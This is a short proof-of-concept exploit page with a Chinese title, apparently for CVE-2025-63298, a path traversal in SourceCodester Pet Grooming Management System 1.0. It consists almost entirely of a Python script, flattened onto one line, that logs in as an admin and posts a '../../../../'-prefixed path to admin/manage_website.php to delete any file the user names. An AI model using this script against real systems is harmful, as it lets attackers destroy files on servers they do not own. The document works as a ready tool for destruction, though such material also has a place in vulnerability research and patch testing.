CVE-2025-63298 SourceCodester宠物美容系统路径遍历漏洞导致任意文件删除

import requests import sys # CVE-2025-63298 PoC - Path Traversal in Pet Grooming Management System # Target: SourceCodester Pet Grooming Management System 1.0 # Component: admin/manage_website.php def exploit(target_url, username, password, file_to_delete): """ Exploit path traversal vulnerability to delete arbitrary files """ # Login to obtain authenticated session login_url = target_url + '/admin/login.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.text.lower(): print('[-] Login failed') return False print('[+] Login successful') # Exploit path traversal to delete arbitrary file exploit_url = target_url + '/admin/manage_website.php' # Construct malicious path with traversal sequences malicious_path = '../../../../' + file_to_delete exploit_data = { 'action': 'delete', 'file_path': malicious_path } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f'[+] File deletion attempt sent: {file_to_delete}') return True else: print('[-] Exploitation failed') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> <file_to_delete>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit(target, user, pwd, file_path)